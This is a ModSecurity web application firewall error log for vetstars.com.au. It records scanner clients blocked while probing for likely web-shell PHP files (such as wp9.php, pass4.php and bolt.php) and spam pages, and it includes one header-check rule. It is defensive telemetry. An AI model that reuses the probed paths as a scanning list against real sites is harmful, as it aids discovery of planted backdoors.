[Thu Apr 09 23:12:15.640869 2026] [:error] [pid 24927:tid 24935] [client 54.38.38.130:49476] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adfBzzXObuzEuw8mNJs6QgAAAQU"]
[Thu Apr 09 23:12:18.121367 2026] [:error] [pid 24624:tid 24627] [client 54.38.38.130:35582] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adfB0u4Jn-WvK1ZBTvj57QAAAME"]
[Thu Apr 09 23:12:20.577311 2026] [:error] [pid 24927:tid 24947] [client 54.38.38.130:35592] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adfB1DXObuzEuw8mNJs6RAAAARE"]
[Thu Apr 09 23:12:23.067620 2026] [:error] [pid 24927:tid 24934] [client 54.38.38.130:35608] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adfB1zXObuzEuw8mNJs6SQAAAQQ"]
[Fri Apr 10 01:22:46.365600 2026] [:error] [pid 36398:tid 36449] [client 43.153.26.165:40122] [client 43.153.26.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adfgZuX640wXZwwgfP91EAAAAFU"]
[Fri Apr 10 04:04:13.551488 2026] [:error] [pid 47461:tid 47478] [client 20.100.175.19:58417] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "adgGPdE7fUndOOkEYa0b7gAAAMk"]
[Fri Apr 10 04:04:16.455654 2026] [:error] [pid 47461:tid 47471] [client 20.100.175.19:58389] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "adgGQNE7fUndOOkEYa0b-QAAAMM"]
[Fri Apr 10 04:04:17.433993 2026] [:error] [pid 47461:tid 47484] [client 20.100.175.19:59582] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "adgGQdE7fUndOOkEYa0b_wAAAM8"]
[Fri Apr 10 04:04:19.295964 2026] [:error] [pid 47362:tid 47375] [client 20.100.175.19:59472] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "adgGQ6usZYmC2RcI8KFRNwAAAAE"]
[Fri Apr 10 04:04:20.303584 2026] [:error] [pid 47364:tid 47420] [client 20.100.175.19:58825] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "adgGRONJgQtuqPx5Ja3WNQAAAFE"]
[Fri Apr 10 04:04:21.313428 2026] [:error] [pid 47461:tid 47488] [client 20.100.175.19:59559] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "adgGRdE7fUndOOkEYa0cBAAAANM"]
[Fri Apr 10 04:04:21.952831 2026] [:error] [pid 47364:tid 47426] [client 20.100.175.19:59481] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "adgGReNJgQtuqPx5Ja3WNwAAAFc"]
[Fri Apr 10 04:04:22.656536 2026] [:error] [pid 47461:tid 47468] [client 20.100.175.19:59861] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "adgGRtE7fUndOOkEYa0cBwAAAMA"]
[Fri Apr 10 04:04:23.932128 2026] [:error] [pid 47461:tid 47487] [client 20.100.175.19:59546] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pass4.php"] [unique_id "adgGR9E7fUndOOkEYa0cCgAAANI"]
[Fri Apr 10 04:04:25.778842 2026] [:error] [pid 47461:tid 47478] [client 20.100.175.19:59866] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pass4.php"] [unique_id "adgGSdE7fUndOOkEYa0cFQAAAMk"]
[Fri Apr 10 04:04:27.143557 2026] [:error] [pid 47461:tid 47481] [client 20.100.175.19:59885] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pass4.php"] [unique_id "adgGS9E7fUndOOkEYa0cJwAAAMw"]
[Fri Apr 10 04:04:28.252394 2026] [:error] [pid 47461:tid 47492] [client 20.100.175.19:59495] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pass4.php"] [unique_id "adgGTNE7fUndOOkEYa0cKwAAANc"]
[Fri Apr 10 04:04:29.743362 2026] [:error] [pid 47364:tid 47410] [client 20.100.175.19:59564] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adgGTeNJgQtuqPx5Ja3WPgAAAEg"]
[Fri Apr 10 04:04:31.591781 2026] [:error] [pid 47461:tid 47492] [client 20.100.175.19:58379] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adgGT9E7fUndOOkEYa0cOQAAANc"]
[Fri Apr 10 04:04:33.912473 2026] [:error] [pid 47461:tid 47474] [client 20.100.175.19:59847] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adgGUdE7fUndOOkEYa0cQQAAAMU"]
[Fri Apr 10 04:04:35.923190 2026] [:error] [pid 47461:tid 47481] [client 20.100.175.19:59529] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adgGU9E7fUndOOkEYa0cRQAAAMw"]
[Fri Apr 10 04:04:37.692961 2026] [:error] [pid 47461:tid 47468] [client 20.100.175.19:58817] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "adgGVdE7fUndOOkEYa0cTAAAAMA"]
[Fri Apr 10 04:04:39.919894 2026] [:error] [pid 47368:tid 47437] [client 20.100.175.19:59860] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "adgGVxwf-BZ7wLnxR-kEmAAAAIc"]
[Fri Apr 10 04:04:41.468928 2026] [:error] [pid 47461:tid 47489] [client 20.100.175.19:59842] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "adgGWdE7fUndOOkEYa0cZwAAANQ"]
[Fri Apr 10 04:04:43.997589 2026] [:error] [pid 47362:tid 47396] [client 20.100.175.19:58396] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "adgGW6usZYmC2RcI8KFRSgAAABY"]
[Fri Apr 10 04:04:46.434555 2026] [:error] [pid 47364:tid 47424] [client 20.100.175.19:59457] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "adgGXuNJgQtuqPx5Ja3WTwAAAFU"]
[Fri Apr 10 04:04:47.409552 2026] [:error] [pid 47364:tid 47420] [client 20.100.175.19:59522] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "adgGX-NJgQtuqPx5Ja3WUAAAAFE"]
[Fri Apr 10 04:04:49.171966 2026] [:error] [pid 47364:tid 47406] [client 20.100.175.19:59499] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "adgGYeNJgQtuqPx5Ja3WVQAAAEQ"]
[Fri Apr 10 04:04:52.050031 2026] [:error] [pid 47364:tid 47413] [client 20.100.175.19:8400] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "adgGZONJgQtuqPx5Ja3WWgAAAEs"]
[Fri Apr 10 04:04:54.317280 2026] [:error] [pid 47368:tid 47439] [client 20.100.175.19:58422] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adgGZhwf-BZ7wLnxR-kEqgAAAIk"]
[Fri Apr 10 04:04:55.878125 2026] [:error] [pid 47461:tid 47485] [client 20.100.175.19:59884] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adgGZ9E7fUndOOkEYa0cjAAAANA"]
[Fri Apr 10 04:04:58.898992 2026] [:error] [pid 47368:tid 47434] [client 20.100.175.19:59894] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adgGahwf-BZ7wLnxR-kEsQAAAIQ"]
[Fri Apr 10 04:05:00.906507 2026] [:error] [pid 47368:tid 47431] [client 20.100.175.19:58821] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adgGbBwf-BZ7wLnxR-kEswAAAIE"]
[Fri Apr 10 04:05:02.372149 2026] [:error] [pid 47461:tid 47490] [client 20.100.175.19:59461] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfd.php"] [unique_id "adgGbtE7fUndOOkEYa0cngAAANU"]
[Fri Apr 10 04:05:03.122467 2026] [:error] [pid 47368:tid 47435] [client 20.100.175.19:8406] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfd.php"] [unique_id "adgGbxwf-BZ7wLnxR-kEtQAAAIU"]
[Fri Apr 10 04:05:03.819693 2026] [:error] [pid 47461:tid 47479] [client 20.100.175.19:59558] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfd.php"] [unique_id "adgGb9E7fUndOOkEYa0cogAAAMo"]
[Fri Apr 10 04:05:04.587543 2026] [:error] [pid 47364:tid 47404] [client 20.100.175.19:58427] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfd.php"] [unique_id "adgGcONJgQtuqPx5Ja3WZAAAAEI"]
[Fri Apr 10 04:05:05.595814 2026] [:error] [pid 47461:tid 47482] [client 20.100.175.19:58866] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asasx.php"] [unique_id "adgGcdE7fUndOOkEYa0crQAAAM0"]
[Fri Apr 10 04:05:07.102729 2026] [:error] [pid 47364:tid 47418] [client 20.100.175.19:59530] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asasx.php"] [unique_id "adgGc-NJgQtuqPx5Ja3WawAAAE8"]
[Fri Apr 10 04:05:08.209791 2026] [:error] [pid 47364:tid 47419] [client 20.100.175.19:59539] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asasx.php"] [unique_id "adgGdONJgQtuqPx5Ja3WcAAAAFA"]
[Fri Apr 10 04:06:59.809863 2026] [:error] [pid 47364:tid 47415] [client 20.100.175.19:8436] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "adgG4-NJgQtuqPx5Ja3XRwAAAEw"]
[Fri Apr 10 04:07:00.534729 2026] [:error] [pid 47368:tid 47447] [client 20.100.175.19:58428] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "adgG5Bwf-BZ7wLnxR-kFeQAAAJE"]
[Fri Apr 10 04:07:01.420885 2026] [:error] [pid 47364:tid 47416] [client 20.100.175.19:58370] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "adgG5eNJgQtuqPx5Ja3XSAAAAE0"]
[Fri Apr 10 04:07:02.240302 2026] [:error] [pid 47364:tid 47419] [client 20.100.175.19:58377] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "adgG5uNJgQtuqPx5Ja3XSQAAAFA"]
[Fri Apr 10 04:07:03.085482 2026] [:error] [pid 47368:tid 47448] [client 20.100.175.19:59583] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "adgG5xwf-BZ7wLnxR-kFfgAAAJI"]
[Fri Apr 10 04:07:04.000226 2026] [:error] [pid 47368:tid 47433] [client 20.100.175.19:58831] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "adgG5xwf-BZ7wLnxR-kFhAAAAIM"]
[Fri Apr 10 04:07:04.940354 2026] [:error] [pid 47362:tid 47375] [client 20.100.175.19:58378] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "adgG6KusZYmC2RcI8KFR4QAAAAE"]
[Fri Apr 10 04:07:05.576760 2026] [:error] [pid 47362:tid 47394] [client 20.100.175.19:59483] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "adgG6ausZYmC2RcI8KFR5AAAABQ"]
[Fri Apr 10 04:07:06.190090 2026] [:error] [pid 47364:tid 47421] [client 20.100.175.19:59489] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "adgG6uNJgQtuqPx5Ja3XTAAAAFI"]
[Fri Apr 10 04:07:06.895745 2026] [:error] [pid 47461:tid 47475] [client 20.100.175.19:59508] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "adgG6tE7fUndOOkEYa0eAAAAAMY"]
[Fri Apr 10 04:07:07.504311 2026] [:error] [pid 47362:tid 47397] [client 20.100.175.19:58388] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "adgG66usZYmC2RcI8KFR5wAAABc"]
[Fri Apr 10 04:07:08.636071 2026] [:error] [pid 47362:tid 47378] [client 20.100.175.19:57309] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "adgG7KusZYmC2RcI8KFR6QAAAAQ"]
[Fri Apr 10 04:07:10.595737 2026] [:error] [pid 47461:tid 47483] [client 20.100.175.19:59900] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adgG7tE7fUndOOkEYa0eBQAAAM4"]
[Fri Apr 10 04:07:11.725422 2026] [:error] [pid 47364:tid 47408] [client 20.100.175.19:58865] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adgG7-NJgQtuqPx5Ja3XTwAAAEY"]
[Fri Apr 10 04:07:12.940211 2026] [:error] [pid 47364:tid 47409] [client 20.100.175.19:59527] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adgG8ONJgQtuqPx5Ja3XUAAAAEc"]
